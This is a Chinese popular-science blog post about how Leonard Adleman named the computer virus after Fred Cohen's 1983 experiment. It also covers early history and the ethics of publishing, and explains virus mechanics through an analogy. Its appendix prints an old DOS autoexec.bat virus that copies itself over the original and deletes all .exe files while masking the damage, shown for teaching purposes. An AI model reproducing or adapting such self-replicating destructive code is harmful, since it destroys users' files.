学到老Never too old to learn分享 http://blog.sciencenet.cn/u/tangchangjie

博文

一不小心,成了计算机病毒的教父 精选

已有 14501 次阅读 2010-12-8 09:26 |个人分类:科普札记|系统分类:科普集锦| 感染, 计算机病毒, Leonard, Adleman, 自我复制

          一不小心,成了计算机病毒的教父--- 我所认识的L. Adleman(4)(唐常杰)


  计算机病毒何许物也?
  在程序员眼中,计算机病毒是程序;对电脑用户,计算机病毒是祸害;当出现计算机故障时,计算机病毒是替罪羊;在某些不良分子手里,计算机病毒是摇钱树。
  还是先讲故事,谈计算机病毒与故事主人公的渊源,然后做科普。



  
                                Fred Cohen                      Leonard Adleman

  
计算机病毒命名1983年,Leonard Adleman(阿德曼)的博士生,弗雷德·科恩(Fred Cohen)在他的指导下研究计算机网络安全相关的问题。这年11月3日科恩写出了可自我复制及感染能力的程序。兴奋地和阿德曼讨论。一周后,在11月10日的安全技术Seminar上,科恩展示了这个程序,此程序能在一个小时内传遍测试系统。
  给这一作品取个什么名称呢?Adleman涉猎甚广,有深厚的数学、化学和分子生物学基础,也是密码技术(特别是攻击技术)的编程高手兼科幻小说迷,联想到曾经在科幻小说上看到过“Computer Virus”,在那个讨论班上给这个程序命名为计算机病毒(Computer Virus),一不小心,就这样成了(现代)计算机病毒的教父。(问什么是教父?Google答:在婴儿或幼儿受洗礼时,赐以教名,并保证承担其宗教教育的人。)。
   
若干年后,Adleman还解释,Computer Virus这个term 不是他生造(Coined)的,是从科幻小说里面看来的。
   
  “史前”计算机病毒  . 1971年, BBN的Bob Thomas 写过一个名叫Creeper的电报打字机控制程序(那时没命名为Computer Virus),受控制的电报打字机会发出信息: “我是Creeper,有本事来抓我(I'm creeper, catch me if you can!)”,由于其感染机理与现代计算机病毒有点差别,所以追认为”史前机器病毒”; 博友huangfuqiang 在第4条和第12条评论以及他推荐的文献[4]中,补充了关于计算机病毒的比较完整的渊源。但正式给这类真实的程序命名为“Computer  Virus还是L. Adleman, 所以,尚未听说过争夺教父这一名誉的官司。

   
  发表论文时的踌躇.  科学发现可以正面使用,也可被滥用。师徒俩反复讨论,怎样发表论文,发表多少,是否要把真正的代码公布,发表了是好还是坏,从技术讨论到了道德规范,….
  最后认为,把这一潜在的威胁告诉公众有好处,他俩分别于1987或1990发表了两篇著名的关于计算机病毒的论文[1,2]。再后来,人们看到了下列事件:
      (a) 反病毒软件成为了一个产业,计算机病毒养活了这些产业;解决了一大批高技术人才的就业问题;
     ( b) ABC News,报道,在沙漠风暴中,美军施放计算机病毒,攻击伊拉克。
      Adleman看到这两则消息后,回顾发表论文的功过是非,叹道:” Who knows(天晓得)!”。    
 

       在那个给计算机病毒命名的Seminar进行时,笔者到南加大计算机系已10个月,年轻人们对这一发现的惊异、敬意、兴奋和热议都深深地印在脑中,播下了一颗七年后才萌发的种子。
      1990年,计算机病毒在中国肆虐,我和我的同事们开发了一些反病毒软件,反病毒卡,写了一本专著《计算机反病毒技术》[3],有源程序、有理论分析、有数据库和知识库技术,由电子工业出版社出版。当然,现在回头去看这本10年前的书,肯定已年久失修,在当年可很火了一阵子,有一个月,此书被列在畅销书第二位,仅次于一本股票的书籍;还获得了1992年新闻出版署颁发的全国第六届优秀科技图书二等奖(那一年,有一个一等奖,得主是杨芙清院士;有两个二等奖)。想起来,真要感谢当年在南加大的机遇和早早埋下的种子。

      计算机病毒是怎样“活”起来,传染和破坏的?
     
 当《计算机反病毒技术》获新闻出版总署1992年全国优秀科技图书二等奖后,在领奖回程,第一次领略了首都出租车司机的健谈,师傅问,计算机怎么会怕病毒?会生霉吗?
      解释1:“计算机病毒是一种包含了复制自身指令的指令”,师傅摇摇头,太绕了,什么指令的指令….,惑而未解。
       解释2,一个发通知的例子,设出租车公司发了一个通知,“往下一车号传,今天下午两点钟开会”。 注意,其中有三个要点:
      (a)“往下传”就是复制动作,只要执行这个指令,就会复制命令自身
      (b)“两点钟”是病毒的等待的时机;
      (c) 如果把行为“开会”换成“堵车”或其他不良动作,就成了消极代码或破坏性代码。
       师傅懂了,而且是从哲理的层次上理解的,可以认为是浅者见浅;专业人员立刻会联系到艰深的反病毒程序的汇编代码(遥想当年,工具不多,常用debug写),那是深者见深。如果深者和浅者都觉得自己理解了,这次科普就成功了。
     
如今,计算机病毒和反病毒技术已今非昔比,在民用环境中,像瘟疫和防疫的对抗;在军事上,是信息导弹和信息反导弹的对抗。造病毒者挖空心思,反病毒者殚精竭虑;双方都从技术上升到了艺术阶段,其深入而精细代码已经不太容易作科普解释了。
      作为解释计算机病毒机理的实际例子,又要避免“教坏”,附录中,给出了在《计算机反病毒技术》中的一个古老的批处理病毒程序,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘
此程序像已经灭活的疫苗,仅能演示思路,没实际害处了。

关于 Leonard . Adleman的系列博文
  
1一位狂热科学家的工作照  

       2 图灵奖得主是怎样炼成的-----侧应钱学森之问  
      3 他凭什么得到图灵奖? (在RSA中的贡献,+RSA科普)

      4  一不小心,成了计算机病毒的教父 (科普)  

     5  奇思妙想,客串艾滋病免疫研究      (科普  

     6  沧海横流,谁开辟了DNA计算?  (DNA计算简介,科普)

               其它系列博文的入口    唐常杰博客主页     科学博客主页

   

    附录1在《计算机反病毒技术》中的自动执行程序Autoexec.BAT,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘。 
   计算机病毒;(Autoexec.BAT )   //从A;盘 复制 到B:盘
 
Echo This is a Virus program
    IF exist b:autoexec.bat  goto  Virus
    Goto No_Virus
    : Virus
    B:
    Rename autoexec.bat  auto.bat       //准备冒名顶替
    Copy a:autoexec.bat  b:                  //自我复制部分
    Echo I am Virus        //诚实的自白            
    Del *.exe                   //实施破坏
    : No_virus
A:
Auto             //调用原来 autoexec.bat,给出平安无事的假象
   
参考文献  
 
[1]Fred Cohen ,Computer viruses : Theory and experiments ,puters & Security Volume 6, Issue 1, February 1987, Pages 22-35
   [2]Leonard M. Adleman,An Abstract Theory of Computer Viruses ,Leonard M. Adleman,Lecture Notes in Computer Science, 1990, Volume  403/1990, Advances in Cryptology — CRYPTO’ 88 ,354-374, DOI: 10.1007/0-387-34799-2_28
   [3]唐常杰 ,胡军,计算机反病毒技术, 电子工业出版社,90年出版,93年修定版,.获92全国优秀科技图书二等奖.
 
[4]  When did the term 'computer virus' arise? 来自科学美国网址由博友huangfuqiang 推荐。



https://blog.sciencenet.cn/blog-287179-391455.html

上一篇:他凭什么得了图灵奖?
下一篇:奇思妙想,客串艾滋病免疫研究
收藏 IP: 118.113.69.*| 热度|

43 秦川 俞立 杨学祥 卫军英 彭雷 章成志 彭思龙 陈儒军 陈绥阳 孙学军 朱志敏 胡锋 陈国文 唐小卿 黄富强 吉宗祥 杨正瓴 吕喆 金小伟 王启云 李学宽 张金龙 郭桅 鲍海飞 李泳 许培扬 李毅伟 丛远新 沈旭章 朱新亮 赵振平 黄锦芳 程冬 曾新林 刘庆丰 马磊 吕腾 韩笑 杨文祥 neilchau dulizhi95 bumblebee tuner

该博文允许注册用户评论 请点击登录 评论 (15 个评论)

数据加载中...
扫一扫,分享此博文

Archiver|手机版|科学网 ( 京ICP备07017567号-12 )

GMT+8, 2024-12-23 03:39

Powered by ScienceNet.cn

Copyright © 2007- 中国科学报社

返回顶部